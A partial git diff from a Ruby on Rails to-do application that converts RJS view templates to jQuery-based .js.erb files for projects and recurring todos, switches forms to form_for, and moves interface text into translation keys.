    diff --git a/app/views/projects/update.js.erb b/app/views/projects/update.js.erb new file mode 100644 index 00000000..0b45527b --- /dev/null +++ b/app/views/projects/update.js.erb @@ -0,0 +1,94 @@ +<% if @saved -%> + TracksPages.page_notify('notice', '<%=t('projects.project_saved_status')%>', 5); + <% if source_view_is :project_list -%> + update_project_list_page(); + <% else # assume source_view :project + -%> + update_project_page(); + <% end %> + TracksForm.set_project_name_and_default_project_name("<%= escape_javascript(@project.name)%>"); +<% else -%> + TracksPages.show_edit_errors(html_for_error_messages()); +<% end %> + +<% if @saved + # only add these js functions if the project is saved +-%> + +function update_project_list_page() { + <% if @state_changed -%> + remove_and_re_add_project(); + <% else -%> + replace_project_form_with_updated_project(); + <% end -%> + + ProjectListPage.update_all_states_count(<%=@active_projects_count%>, <%=@hidden_projects_count%>, <%=@completed_projects_count%>); + ProjectListPage.show_or_hide_all_state_containers(<%= @show_active_projects %>, <%= @show_hidden_projects %>, <%= @show_completed_projects %>); +} + +function update_project_page() { + remove_project_edit_form(); + update_and_show_project_settings(); + TracksForm.set_project_name("<%= escape_javascript(@project.name)%>"); + <% if @project.default_context %> + TracksForm.set_context_name_and_default_context_name("<%= escape_javascript(@project.default_context.name)%>"); + <% end %> + <% if @project.default_tags %> + TracksForm.set_tag_list("<%= escape_javascript(@project.default_tags)%>"); + <% end %> + TracksPages.update_sidebar(html_for_sidebar()); +} + +function remove_project_edit_form() { + $('#<%=dom_id(@project, 'edit')%>').hide(500, function() {$('#<%=dom_id(@project, 'edit')%>').remove();} ); +} + +function update_and_show_project_settings() { + $('#<%=dom_id(@project, 'container')%>').html(html_for_project_settings()); + $('#<%=dom_id(@project)%>').show(); +} + +function replace_project_form_with_updated_project() { + $('#<%=dom_id(@project, 'container')%>').fadeOut(250, function() { +<% + # first add the updated project after the old one, then remove old one + # using html() does not work, because it will replace the _content_ of + # the container instead of the container itself, i.e. you will get + # a container within a container which will break drag-and-drop sorting +-%> + $('#<%=dom_id(@project, 'container')%>').after(html_for_project_listing()); + $('#<%=dom_id(@project, 'container')%>').remove(); + $('#<%=dom_id(@project, 'container')%>').fadeIn(500); + }); +} + +function remove_and_re_add_project() { + $('#<%=dom_id(@project, 'container')%>').slideUp(500, function() { + $('#<%=dom_id(@project, 'container')%>').remove(); + $('#list-<%=@project.state%>-projects').append(html_for_project_listing()); + }); +} + +<% +# the following functions return empty string if rendering the partial is not +# necessary, for example the sidebar is not on the project list page, so do not +# render it into the function. +-%> +function html_for_project_listing() { + return "<%= source_view_is(:project_list) ? escape_javascript(render(:partial => 'project_listing', :object => @project )) : "" %>"; +} + +function html_for_sidebar() { + return "<%= source_view_is(:project) ? escape_javascript(render(:file => 'sidebar/sidebar.html.erb')) : "" %>"; +} + +function html_for_project_settings() { + return "<%= source_view_is(:project) ? escape_javascript(render(:partial => 'project_settings', :object => @project )) : "" %>"; +} + +<% end # if @saved +-%> + +function html_for_error_messages() { + return "<%= escape_javascript(error_messages_for('project')) %>"; +} \ No newline at end of file diff --git a/app/views/projects/update.js.rjs b/app/views/projects/update.js.rjs deleted file mode 100644 index 82ceea98..00000000 --- a/app/views/projects/update.js.rjs +++ /dev/null @@ -1,39 +0,0 @@ -if @saved - status_message = 'Project saved' - page.notify :notice, status_message, 5.0 - if source_view_is :project_list - if @state_changed - page[dom_id(@project, 'container')].remove - page.insert_html :bottom, "list-#{@project.state}-projects", :partial => 'project_listing', :object => @project - else - page.replace_html dom_id(@project, 'container'), :partial => 'project_listing', :object => @project - end - page.sortable "list-#{@project.state}-projects", get_listing_sortable_options("list-#{@project.state}-projects") - page.replace_html "active-projects-count", @active_projects_count - page.replace_html "hidden-projects-count", @hidden_projects_count - page.replace_html "completed-projects-count", @completed_projects_count - - page.set_element_visible("list-hidden-projects-container", @hidden_projects_count > 0) - page.set_element_visible("list-active-projects-container", @active_projects_count > 0) - page.set_element_visible("list-completed-projects-container", @completed_projects_count > 0) - else - page[dom_id(@project, 'edit')].hide - page.replace_html dom_id(@project, 'container'), :partial => 'project_settings', :locals => { :project => @project } - page[dom_id(@project)].show - - page['todo_context_name'].value = @project.default_context.name if @project.default_context - page['#todo_project_name'].value = @project.name - page['tag_list'].value = @project.default_tags if @project.default_tags - page << "$('input[name=default_context_name]').val('#{@project.default_context.name}');" if @project.default_context - end - - page['default_project_name_id'].value = @project.name - page['todo_project_name'].value = @project.name - page.replace_html "project_name", @project.name - - page.replace_html "sidebar", :file => 'sidebar/sidebar.html.erb' -else - page.show 'error_status' - page.replace_html 'error_status', "#{error_messages_for('project')}" -end -page << "enable_rich_interaction();" diff --git a/app/views/projects/update_default_context.js.rjs b/app/views/projects/update_default_context.js.rjs index a3e9389f..3a7d5dc9 100644 --- a/app/views/projects/update_default_context.js.rjs +++ b/app/views/projects/update_default_context.js.rjs @@ -1,11 +1,13 @@ +# TODO: is this DEAD code? + if @project.default_context.nil? - page.notify :notice, "Removed default context", 5.0 + page.notify :notice, t('projects.default_context_removed'), 5.0 else if source_view_is :project page['default_context_name_id'].value = @project.default_context.name page['todo_context_name'].value = @project.default_context.name end - page.notify :notice, "Set project's default context to #{@project.default_context.name}", 5.0 + page.notify :notice, t('projects.default_context_set', :default_context => @project.default_context.name), 5.0 end page.hide "busy" diff --git a/app/views/projects/update_default_tags.js.rjs b/app/views/projects/update_default_tags.js.rjs index 88e543b0..2400a3a4 100644 --- a/app/views/projects/update_default_tags.js.rjs +++ b/app/views/projects/update_default_tags.js.rjs @@ -1,11 +1,12 @@ +# TODO: is this dead code? if @project.default_tags.nil? - page.notify :notice, "Removed the default tags", 5.0 + page.notify :notice, t('projects.default_tags_removed_notice'), 5.0 else # if source_view_is :project # page['default_context_name_id'].value = @project.default_context.name # page['todo_context_name'].value = @project.default_context.name # end - page.notify :notice, "Set project's default tags to #{@project.default_tags}", 5.0 + page.notify :notice, t('projects.set_default_tags_notice', :default_tags => @project.default_tags), 5.0 end page.hide "busy" diff --git a/app/views/projects/update_project_name.js.rjs b/app/views/projects/update_project_name.js.rjs index 85ed34e7..19738ee1 100644 --- a/app/views/projects/update_project_name.js.rjs +++ b/app/views/projects/update_project_name.js.rjs @@ -1,7 +1,8 @@ +#TODO: is this dead code? page['default_project_name_id'].value = @project.name page['todo_project_name'].value = @project.name page << "enable_rich_interaction();" -status_message = "Name of project was changed" +status_message = t('projects.status_project_name_changed') page.notify :notice, status_message, 5.0 diff --git a/app/views/projects/update_status.js.rjs b/app/views/projects/update_status.js.rjs index 28e04a1f..f2570dd4 100644 --- a/app/views/projects/update_status.js.rjs +++ b/app/views/projects/update_status.js.rjs @@ -1,3 +1,4 @@ +# TODO: is this dead code? page.select('#project_status .active span').each do |element| element.className = @project.current_state == :active ? 'active_state' : 'inactive_state' end diff --git a/app/views/recurring_todos/_edit_form.html.erb b/app/views/recurring_todos/_edit_form.html.erb index 8464bcf1..2d61fd5c 100644 --- a/app/views/recurring_todos/_edit_form.html.erb +++ b/app/views/recurring_todos/_edit_form.html.erb @@ -1,113 +1,113 @@
    - <% form_remote_tag( - :url => recurring_todo_path(@recurring_todo), :method => :put, - :html=> { :id=>'recurring-todo-form-edit-action', :name=>'recurring_todo', :class => 'inline-form' }, - :before => "$('#recurring_todo_edit_action_submit').block({message: null})", - :complete => "$('#recurring_todo_edit_action_submit').unblock();$('#recurring-todo-form-edit-action').clearForm();") do - - -%> -
    <%= error_messages_for("item", :object_name => 'action') %>
    - -
    -
    - <%= - text_field_tag( "recurring_todo[description]", @recurring_todo.description, "size" => 30, "tabindex" => 1, "maxlength" => 100) -%> - - <%= - text_area_tag( "recurring_todo[notes]", @recurring_todo.notes, {:cols => 29, :rows => 6, :tabindex => 2}) -%> - - - " /> - + <% #form_remote_tag( + #url => recurring_todo_path(@recurring_todo), :method => :put, + #:html=> { :id=>'recurring-todo-form-edit-action', :name=>'recurring_todo', :class => 'inline-form' }, + #:before => "$('#recurring_todo_edit_action_submit').block({message: null})", + #:complete => "$('#recurring_todo_edit_action_submit').unblock();$('#recurring-todo-form-edit-action').clearForm();") do + form_for(@recurring_todo, :html=> { :id=>'recurring-todo-form-edit-action', :name=>'recurring_todo', :class => 'inline-form' }) do |f| + -%> +
    <%= error_messages_for("item", :object_name => 'action') %>
    - - - - - - <%= text_field_tag "edit_recurring_todo_tag_list", @recurring_todo.tag_list, :size => 30, :tabindex => 5 -%> -
    +
    +
    + <%= + text_field_tag( "recurring_todo[description]", @recurring_todo.description, "size" => 30, "tabindex" => 1, "maxlength" => 100, :id => "edit_recurring_todo_description") -%> + + <%= + text_area_tag( "recurring_todo[notes]", @recurring_todo.notes, {:cols => 29, :rows => 6, :tabindex => 2}) -%> + + + " /> + + + + + + + + <%= text_field_tag "edit_recurring_todo_tag_list", @recurring_todo.tag_list, :size => 30, :tabindex => 5 -%>
    -
    -
    -
    - <%= radio_button_tag('recurring_edit_todo[recurring_period]', 'daily', @recurring_todo.recurring_period == 'daily')%> Daily
    - <%= radio_button_tag('recurring_edit_todo[recurring_period]', 'weekly', @recurring_todo.recurring_period == 'weekly')%> Weekly
    - <%= radio_button_tag('recurring_edit_todo[recurring_period]', 'monthly', @recurring_todo.recurring_period == 'monthly')%> Monthly
    - <%= radio_button_tag('recurring_edit_todo[recurring_period]', 'yearly', @recurring_todo.recurring_period == 'yearly')%> Yearly
    - <% #behaviour is set in index because behaviours in partials are not generated -%> -
    -
    -
    - <%= - text_field_tag("recurring_todo_edit_start_from", format_date(@recurring_todo.start_from), "size" => 12, "class" => "Date", "tabindex" => 6, "autocomplete" => "off") %>
    -
    -
    - <%= radio_button_tag('recurring_todo[ends_on]', 'no_end_date', @recurring_todo.ends_on == 'no_end_date')%> No end date
    - <%= radio_button_tag('recurring_todo[ends_on]', 'ends_on_number_of_times', @recurring_todo.ends_on == 'ends_on_number_of_times')%> Ends after <%= text_field_tag("recurring_todo[number_of_occurences]", @recurring_todo.number_of_occurences, "size" => 3, "tabindex" => 7) %> times
    - <%= radio_button_tag('recurring_todo[ends_on]', 'ends_on_end_date', @recurring_todo.ends_on == 'ends_on_end_date')%> Ends on <%= - text_field_tag('recurring_todo_edit_end_date', format_date(@recurring_todo.end_date), "size" => 12, "class" => "Date", "tabindex" => 8, "autocomplete" => "off") %>
    -
    -
    -
    - <%= radio_button_tag('recurring_todo[daily_selector]', 'daily_every_x_day', !@recurring_todo.only_work_days)%> Every <%= - text_field_tag( 'recurring_todo[daily_every_x_days]', @recurring_todo.daily_every_x_days, {"size" => 3, "tabindex" => 9}) %> day(s)
    - <%= radio_button_tag('recurring_todo[daily_selector]', 'daily_every_work_day', @recurring_todo.only_work_days)%> Every work day
    +
    +
    +
    +
    + <%= radio_button_tag('recurring_edit_todo[recurring_period]', 'daily', @recurring_todo.recurring_period == 'daily')%> Daily
    + <%= radio_button_tag('recurring_edit_todo[recurring_period]', 'weekly', @recurring_todo.recurring_period == 'weekly')%> Weekly
    + <%= radio_button_tag('recurring_edit_todo[recurring_period]', 'monthly', @recurring_todo.recurring_period == 'monthly')%> Monthly
    + <%= radio_button_tag('recurring_edit_todo[recurring_period]', 'yearly', @recurring_todo.recurring_period == 'yearly')%> Yearly
    + <% #behaviour is set in index because behaviours in partials are not generated -%>
    -
    -
    - Returns every <%= text_field_tag('recurring_todo[weekly_every_x_week]', @recurring_todo.weekly_every_x_week, {"size" => 3, "tabindex" => 9}) %> week on
    - <%= check_box_tag('recurring_todo[weekly_return_monday]', 'm', @recurring_todo.on_monday ) %> Monday - <%= check_box_tag('recurring_todo[weekly_return_tuesday]', 't', @recurring_todo.on_tuesday) %> Tuesday - <%= check_box_tag('recurring_todo[weekly_return_wednesday]', 'w', @recurring_todo.on_wednesday) %> Wednesday - <%= check_box_tag('recurring_todo[weekly_return_thursday]', 't', @recurring_todo.on_thursday) %> Thursday
    - <%= check_box_tag('recurring_todo[weekly_return_friday]', 'f', @recurring_todo.on_friday) %> Friday - <%= check_box_tag('recurring_todo[weekly_return_saturday]', 's', @recurring_todo.on_saturday) %> Saturday - <%= check_box_tag('recurring_todo[weekly_return_sunday]', 's', @recurring_todo.on_sunday) %> Sunday
    -
    -
    -
    - <%= radio_button_tag('recurring_todo[monthly_selector]', 'monthly_every_x_day', @recurring_todo.is_monthly_every_x_day || @recurring_todo.recurring_period == 'weekly')%> Day <%= - text_field_tag('recurring_todo[monthly_every_x_day]', @recurring_todo.monthly_every_x_day, {"size" => 3, "tabindex" => 9}) %> on every <%= - text_field_tag('recurring_todo[monthly_every_x_month]', @recurring_todo.monthly_every_x_month, {"size" => 3, "tabindex" => 10}) %> month
    - <%= radio_button_tag('recurring_todo[monthly_selector]', 'monthly_every_xth_day', @recurring_todo.is_monthly_every_xth_day)%> The <%= - select_tag('recurring_todo[monthly_every_xth_day]', options_for_select(@xth_day, @xth_day[@recurring_todo.monthly_every_xth_day(1)-1][1])) %> <%= - select_tag('recurring_todo[monthly_day_of_week]' , options_for_select(@days_of_week, @recurring_todo.monthly_day_of_week), {}) %> of every <%= - text_field_tag('recurring_todo[monthly_every_x_month2]', @recurring_todo.monthly_every_x_month2, {"size" => 3, "tabindex" => 11}) %> month
    -
    -
    -
    - <%= radio_button_tag('recurring_todo[yearly_selector]', 'yearly_every_x_day', @recurring_todo.recurrence_selector == 0)%> Every <%= - select_tag('recurring_todo[yearly_month_of_year]', options_for_select(@months_of_year, @recurring_todo.yearly_month_of_year), {}) %> <%= - text_field_tag('recurring_todo[yearly_every_x_day]', @recurring_todo.yearly_every_x_day, "size" => 3, "tabindex" => 9) %>
    - <%= radio_button_tag('recurring_todo[yearly_selector]', 'yearly_every_xth_day', @recurring_todo.recurrence_selector == 1)%> The <%= - select_tag('recurring_todo[yearly_every_xth_day]', options_for_select(@xth_day, @recurring_todo.yearly_every_xth_day), {}) %> <%= - select_tag('recurring_todo[yearly_day_of_week]', options_for_select(@days_of_week, @recurring_todo.yearly_day_of_week), {}) %> of <%= - select_tag('recurring_todo[yearly_month_of_year2]', options_for_select(@months_of_year, @recurring_todo.yearly_month_of_year2), {}) %>
    -
    -
    -
    - <%= radio_button_tag('recurring_todo[recurring_target]', 'due_date', @recurring_todo.target == 'due_date')%> the date that the todo is due. Show the todo: - <%= radio_button_tag('recurring_todo[recurring_show_always]', '1', @recurring_todo.show_always?)%> always - <%= radio_button_tag('recurring_todo[recurring_show_always]', '0', !@recurring_todo.show_always?)%> - <%= text_field_tag( 'recurring_todo[recurring_show_days_before]', @recurring_todo.show_from_delta, {"size" => 3, "tabindex" => 12}) %> - days before the todo is due -
    - <%= radio_button_tag('recurring_todo[recurring_target]', 'show_from_date', @recurring_todo.target == 'show_from_date')%> the date todo comes from tickler (no due date set)
    +

    + <%= + text_field_tag("recurring_todo_edit_start_from", format_date(@recurring_todo.start_from), "size" => 12, "class" => "Date", "tabindex" => 6, "autocomplete" => "off") %>
    +
    +
    + <%= radio_button_tag('recurring_todo[ends_on]', 'no_end_date', @recurring_todo.ends_on == 'no_end_date')%> No end date
    + <%= radio_button_tag('recurring_todo[ends_on]', 'ends_on_number_of_times', @recurring_todo.ends_on == 'ends_on_number_of_times')%> Ends after <%= text_field_tag("recurring_todo[number_of_occurences]", @recurring_todo.number_of_occurences, "size" => 3, "tabindex" => 7) %> times
    + <%= radio_button_tag('recurring_todo[ends_on]', 'ends_on_end_date', @recurring_todo.ends_on == 'ends_on_end_date')%> Ends on <%= + text_field_tag('recurring_todo_edit_end_date', format_date(@recurring_todo.end_date), "size" => 12, "class" => "Date", "tabindex" => 8, "autocomplete" => "off") %>
    +
    +
    +
    + <%= radio_button_tag('recurring_todo[daily_selector]', 'daily_every_x_day', !@recurring_todo.only_work_days)%> Every <%= + text_field_tag( 'recurring_todo[daily_every_x_days]', @recurring_todo.daily_every_x_days, {"size" => 3, "tabindex" => 9}) %> day(s)
    + <%= radio_button_tag('recurring_todo[daily_selector]', 'daily_every_work_day', @recurring_todo.only_work_days)%> Every work day
    +
    +
    +
    + Returns every <%= text_field_tag('recurring_todo[weekly_every_x_week]', @recurring_todo.weekly_every_x_week, {"size" => 3, "tabindex" => 9}) %> week on
    + <%= check_box_tag('recurring_todo[weekly_return_monday]', 'm', @recurring_todo.on_monday ) %> Monday + <%= check_box_tag('recurring_todo[weekly_return_tuesday]', 't', @recurring_todo.on_tuesday) %> Tuesday + <%= check_box_tag('recurring_todo[weekly_return_wednesday]', 'w', @recurring_todo.on_wednesday) %> Wednesday + <%= check_box_tag('recurring_todo[weekly_return_thursday]', 't', @recurring_todo.on_thursday) %> Thursday
    + <%= check_box_tag('recurring_todo[weekly_return_friday]', 'f', @recurring_todo.on_friday) %> Friday + <%= check_box_tag('recurring_todo[weekly_return_saturday]', 's', @recurring_todo.on_saturday) %> Saturday + <%= check_box_tag('recurring_todo[weekly_return_sunday]', 's', @recurring_todo.on_sunday) %> Sunday
    +
    +
    +
    + <%= radio_button_tag('recurring_todo[monthly_selector]', 'monthly_every_x_day', @recurring_todo.is_monthly_every_x_day || @recurring_todo.recurring_period == 'weekly')%> Day <%= + text_field_tag('recurring_todo[monthly_every_x_day]', @recurring_todo.monthly_every_x_day, {"size" => 3, "tabindex" => 9}) %> on every <%= + text_field_tag('recurring_todo[monthly_every_x_month]', @recurring_todo.monthly_every_x_month, {"size" => 3, "tabindex" => 10}) %> month
    + <%= radio_button_tag('recurring_todo[monthly_selector]', 'monthly_every_xth_day', @recurring_todo.is_monthly_every_xth_day)%> The <%= + select_tag('recurring_todo[monthly_every_xth_day]', options_for_select(@xth_day, @xth_day[@recurring_todo.monthly_every_xth_day(1)-1][1])) %> <%= + select_tag('recurring_todo[monthly_day_of_week]' , options_for_select(@days_of_week, @recurring_todo.monthly_day_of_week), {}) %> of every <%= + text_field_tag('recurring_todo[monthly_every_x_month2]', @recurring_todo.monthly_every_x_month2, {"size" => 3, "tabindex" => 11}) %> month
    +
    +
    +
    + <%= radio_button_tag('recurring_todo[yearly_selector]', 'yearly_every_x_day', @recurring_todo.recurrence_selector == 0)%> Every <%= + select_tag('recurring_todo[yearly_month_of_year]', options_for_select(@months_of_year, @recurring_todo.yearly_month_of_year), {}) %> <%= + text_field_tag('recurring_todo[yearly_every_x_day]', @recurring_todo.yearly_every_x_day, "size" => 3, "tabindex" => 9) %>
    + <%= radio_button_tag('recurring_todo[yearly_selector]', 'yearly_every_xth_day', @recurring_todo.recurrence_selector == 1)%> The <%= + select_tag('recurring_todo[yearly_every_xth_day]', options_for_select(@xth_day, @recurring_todo.yearly_every_xth_day), {}) %> <%= + select_tag('recurring_todo[yearly_day_of_week]', options_for_select(@days_of_week, @recurring_todo.yearly_day_of_week), {}) %> of <%= + select_tag('recurring_todo[yearly_month_of_year2]', options_for_select(@months_of_year, @recurring_todo.yearly_month_of_year2), {}) %>
    +
    +
    +
    + <%= radio_button_tag('recurring_todo[recurring_target]', 'due_date', @recurring_todo.target == 'due_date')%> the date that the todo is due. Show the todo: + <%= radio_button_tag('recurring_todo[recurring_show_always]', '1', @recurring_todo.show_always?)%> always + <%= radio_button_tag('recurring_todo[recurring_show_always]', '0', !@recurring_todo.show_always?)%> + <%= text_field_tag( 'recurring_todo[recurring_show_days_before]', @recurring_todo.show_from_delta, {"size" => 3, "tabindex" => 12}) %> + days before the todo is due +
    + <%= radio_button_tag('recurring_todo[recurring_target]', 'show_from_date', @recurring_todo.target == 'show_from_date')%> the date todo comes from tickler (no due date set)
    +
    +
    +
    +
    + +
    -
    -
    - - -
    -
    - <% end %> +
    +<% end %>
    diff --git a/app/views/recurring_todos/_recurring_todo.html.erb b/app/views/recurring_todos/_recurring_todo.html.erb index a1d2c737..3abafc4a 100644 --- a/app/views/recurring_todos/_recurring_todo.html.erb +++ b/app/views/recurring_todos/_recurring_todo.html.erb @@ -3,7 +3,7 @@ <%= recurring_todo_remote_delete_icon %> <%= recurring_todo_remote_edit_icon -%> <%= recurring_todo_remote_star_icon %> <%= recurring_todo_remote_toggle_checkbox -%> -
    +
    <%= sanitize(recurring_todo.description) %> <%= recurring_todo_tag_list %> [<%= recurrence_pattern_as_text(@recurring_todo) %>] diff --git a/app/views/recurring_todos/_recurring_todo_form.erb b/app/views/recurring_todos/_recurring_todo_form.erb index 4b3dc734..27a6bf9a 100644 --- a/app/views/recurring_todos/_recurring_todo_form.erb +++ b/app/views/recurring_todos/_recurring_todo_form.erb @@ -1,104 +1,105 @@
    - <% form_remote_tag( - :url => recurring_todos_path, :method => :post, - :html=> { :id=>'recurring-todo-form-new-action', :name=>'recurring_todo', :class => 'inline-form' }, - :before => "$('#recurring_todo_new_action_submit').block({message: null})") do + <% + form_for(@new_recurring_todo, :html=> { :id=>'recurring-todo-form-new-action', :name=>'recurring_todo', :class => 'inline-form' }) do + #form_remote_tag( + # :url => recurring_todos_path, :method => :post, + # :html=> { :id=>'recurring-todo-form-new-action', :name=>'recurring_todo', :class => 'inline-form' }, + # :before => "$('#recurring_todo_new_action_submit').block({message: null})") do -%> -
    <%= error_messages_for("item", :object_name => 'action') %>
    +
    <%= error_messages_for("item", :object_name => 'action') %>
    - <%= + <%= text_field_tag( "recurring_todo[description]", "", "size" => 30, "tabindex" => 1, "maxlength" => 100) -%> - <%= + <%= text_area_tag( "recurring_todo[notes]", nil, {:cols => 29, :rows => 6, :tabindex => 2}) -%> - + - + - + <%= text_field_tag "tag_list", nil, :size => 30, :tabindex => 5 -%>
    -
    - <%= radio_button_tag('recurring_todo[recurring_period]', 'daily', true)%> Daily
    - <%= radio_button_tag('recurring_todo[recurring_period]', 'weekly')%> Weekly
    - <%= radio_button_tag('recurring_todo[recurring_period]', 'monthly')%> Monthly
    - <%= radio_button_tag('recurring_todo[recurring_period]', 'yearly')%> Yearly
    +
    + <%= radio_button_tag('recurring_todo[recurring_period]', 'daily', true)%> <%= t('todos.recurrence.daily') %>
    + <%= radio_button_tag('recurring_todo[recurring_period]', 'weekly')%> <%= t('todos.recurrence.weekly') %>
    + <%= radio_button_tag('recurring_todo[recurring_period]', 'monthly')%> <%= t('todos.recurrence.monthly') %>
    + <%= radio_button_tag('recurring_todo[recurring_period]', 'yearly')%> <%= t('todos.recurrence.yearly') %>

    - <%= + <%= text_field(:recurring_todo, :start_from, "value" => format_date(current_user.time), "size" => 12, "class" => "Date", "tabindex" => 6, "autocomplete" => "off") %>

    -
    - <%= radio_button_tag('recurring_todo[ends_on]', 'no_end_date', true)%> No end date
    - <%= radio_button_tag('recurring_todo[ends_on]', 'ends_on_number_of_times')%> Ends after <%= text_field( :recurring_todo, :number_of_occurences, "size" => 3, "tabindex" => 7) %> times
    - <%= radio_button_tag('recurring_todo[ends_on]', 'ends_on_end_date')%> Ends on <%= text_field(:recurring_todo, :end_date, "size" => 12, "class" => "Date", "tabindex" => 8, "autocomplete" => "off", "value" => "") %>
    +
    + <%= radio_button_tag('recurring_todo[ends_on]', 'no_end_date', true)%> <%= t('todos.recurrence.no_end_date') %>
    + <%= radio_button_tag('recurring_todo[ends_on]', 'ends_on_number_of_times')%> <%= t('todos.recurrence.ends_on_number_times', :number => text_field( :recurring_todo, :number_of_occurences, "size" => 3, "tabindex" => 7)) %>
    + <%= radio_button_tag('recurring_todo[ends_on]', 'ends_on_end_date')%> <%= t('todos.recurrence.ends_on_date', :date => text_field(:recurring_todo, :end_date, "size" => 12, "class" => "Date", "tabindex" => 8, "autocomplete" => "off", "value" => "")) %>
    -
    - <%= radio_button_tag('recurring_todo[daily_selector]', 'daily_every_x_day', true)%> Every <%= - text_field_tag( 'recurring_todo[daily_every_x_days]', "1", {"size" => 3, "tabindex" => 9}) %> day(s)
    - <%= radio_button_tag('recurring_todo[daily_selector]', 'daily_every_work_day')%> Every work day
    +
    + <%= radio_button_tag('recurring_todo[daily_selector]', 'daily_every_x_day', true)%> <%= t('todos.recurrence.daily_every_number_day', :number=> text_field_tag( 'recurring_todo[daily_every_x_days]', "1", {"size" => 3, "tabindex" => 9})) %>
    + <%= radio_button_tag('recurring_todo[daily_selector]', 'daily_every_work_day')%> <%= t('todos.recurrence.every_work_day') %>
    -
    - <%= radio_button_tag('recurring_todo[recurring_target]', 'due_date', true)%> the date that the todo is due. Show the todo: - <%= radio_button_tag('recurring_todo[recurring_show_always]', '1', true)%> always +
    + <%= radio_button_tag('recurring_todo[recurring_target]', 'due_date', true)%> <%= t('todos.recurrence.recurrence_on_due_date') %>. <%= t('todos.recurrence.show_options') %>: + <%= radio_button_tag('recurring_todo[recurring_show_always]', '1', true)%> <%= t('todos.recurrence.show_option_always') %> <%= radio_button_tag('recurring_todo[recurring_show_always]', '0', false)%> - <%= text_field_tag( 'recurring_todo[recurring_show_days_before]', "0", {"size" => 3, "tabindex" => 12}) %> - days before the todo is due + <%= t('todos.recurrence.show_days_before', :days => text_field_tag( 'recurring_todo[recurring_show_days_before]', "0", {"size" => 3, "tabindex" => 12})) %>
    - <%= radio_button_tag('recurring_todo[recurring_target]', 'show_from_date', false)%> the date todo comes from tickler (no due date set)
    + <%= radio_button_tag('recurring_todo[recurring_target]', 'show_from_date', false)%> <%= t('todos.recurrence.from_tickler') %>

    diff --git a/app/views/recurring_todos/create.js.erb b/app/views/recurring_todos/create.js.erb new file mode 100644 index 00000000..e2c9428d --- /dev/null +++ b/app/views/recurring_todos/create.js.erb @@ -0,0 +1,31 @@ +<% if @saved -%> + TracksPages.page_notify('notice', "<%=@status_message%>", 5); + RecurringTodosPage.toggle_overlay(); + add_recurring_todo_to_active_container(); + replace_form_with_empty_form(); + TracksPages.set_page_badge(<%= @down_count %>); +<% else -%> + TracksPages.show_errors(html_for_error_messages()); +<% end -%> + +function replace_form_with_empty_form() { + $('div.recurring_container').html(html_for_empty_form()); +} + +function add_recurring_todo_to_active_container() { + $('#recurring_todos_container').append(html_for_recurring_todo()); + $('#<%= dom_id(@recurring_todo)%>').effect('highlight', {}, 2000 ); + $('#recurring-todos-empty-nd').hide(); +} + +function html_for_recurring_todo() { + return "<%= @saved ? escape_javascript(render(:partial => @recurring_todo)) : "" %>"; +} + +function html_for_empty_form() { + return "<%= @saved ? escape_javascript(render(:partial => 'recurring_todo_form')) : "" %>"; +} + +function html_for_error_messages() { + return "<%= escape_javascript(error_messages_for('recurring_todo')) %>"; +} \ No newline at end of file diff --git a/app/views/recurring_todos/create.js.rjs b/app/views/recurring_todos/create.js.rjs deleted file mode 100644 index 4ef13703..00000000 --- a/app/views/recurring_todos/create.js.rjs +++ /dev/null @@ -1,18 +0,0 @@ -page.show 'new_status' -page.replace_html 'new_status', "#{error_messages_for('recurring_todo')}" - -page.notify :notice, @message, 5.0 -if @recurring_saved - # reset form - page['new-recurring-todo'].replace_html :partial => 'recurring_todo_form' - # hide overlayed edit form - page << "TracksForm.toggle_overlay();" - # insert new recurring todo - page.hide 'recurring-todos-empty-nd' - page.insert_html :bottom, - 'recurring_todos_container', - :partial => 'recurring_todos/recurring_todo', :locals => { :recurring_todo => @recurring_todo} - page.visual_effect :highlight, dom_id(@recurring_todo), :duration => 3 - # update badge count - page['badge_count'].replace_html @count -end diff --git a/app/views/recurring_todos/destroy.js.erb b/app/views/recurring_todos/destroy.js.erb new file mode 100644 index 00000000..b6462ed9 --- /dev/null +++ b/app/views/recurring_todos/destroy.js.erb @@ -0,0 +1,22 @@ +<%- if @saved -%> + show_empty_messages(); + TracksPages.page_notify('notice', '<%= escape_javascript(t('todos.recurring_deleted_success') + t(:todo_removed, :count => @number_of_todos)) %>', 5); + remove_recurring_todo_from_page(); +<%- else -%> + TracksPages.page_notify('error', '<%= t('todos.error_deleting_recurring', :description => @recurring_todo.description) %>', 8); +<%- end -%> + +function show_empty_messages() { + <%- if @active_remaining == 0 -%> + $('#recurring-todos-empty-nd').show(); + <%- end -%> + <%- if @completed_remaining == 0 -%> + $('#completed-empty-nd').show(); + <%- end -%> +} + +function remove_recurring_todo_from_page() { + $('#<%=dom_id(@recurring_todo)%>').slideUp(1000, function() { + $('#<%=dom_id(@recurring_todo)%>').remove(); + }); +} \ No newline at end of file diff --git a/app/views/recurring_todos/destroy.js.rjs b/app/views/recurring_todos/destroy.js.rjs deleted file mode 100644 index 1c5f0307..00000000 --- a/app/views/recurring_todos/destroy.js.rjs +++ /dev/null @@ -1,12 +0,0 @@ -if @saved - if @remaining == 0 - page.show 'recurring-todos-empty-nd' - end - page.notify :notice, "The recurring action was deleted succesfully. " + - "The recurrence pattern is removed from " + - pluralize(@number_of_todos, "todo"), 5.0 - page[@recurring_todo].remove - page.visual_effect :fade, dom_id(@recurring_todo), :duration => 0.4 -else - page.notify :error, "There was an error deleting the recurring todo #{@recurring_todo.description}", 8.0 -end \ No newline at end of file diff --git a/app/views/recurring_todos/edit.js.erb b/app/views/recurring_todos/edit.js.erb new file mode 100644 index 00000000..05d4a9b4 --- /dev/null +++ b/app/views/recurring_todos/edit.js.erb @@ -0,0 +1,9 @@ +$('#new-recurring-todo').hide(); +$('#edit-recurring-todo').html(html_for_edit_form()); +$('#edit-recurring-todo').show(); +RecurringTodosPage.toggle_overlay(); +enable_rich_interaction(); + +function html_for_edit_form() { + return "<%= escape_javascript(render(:partial => 'edit_form')) %>" +} diff --git a/app/views/recurring_todos/edit.js.rjs b/app/views/recurring_todos/edit.js.rjs deleted file mode 100644 index 2345f9b6..00000000 --- a/app/views/recurring_todos/edit.js.rjs +++ /dev/null @@ -1,5 +0,0 @@ -page << "TracksForm.toggle_overlay();" -page['new-recurring-todo'].hide -page['edit-recurring-todo'].replace_html :partial => 'recurring_todos/edit_form' -page['edit-recurring-todo'].show -page << "enable_rich_interaction();" diff --git a/app/views/recurring_todos/index.html.erb b/app/views/recurring_todos/index.html.erb index 4afa0528..ac11ae26 100644 --- a/app/views/recurring_todos/index.html.erb +++ b/app/views/recurring_todos/index.html.erb @@ -1,36 +1,36 @@
    -
    -

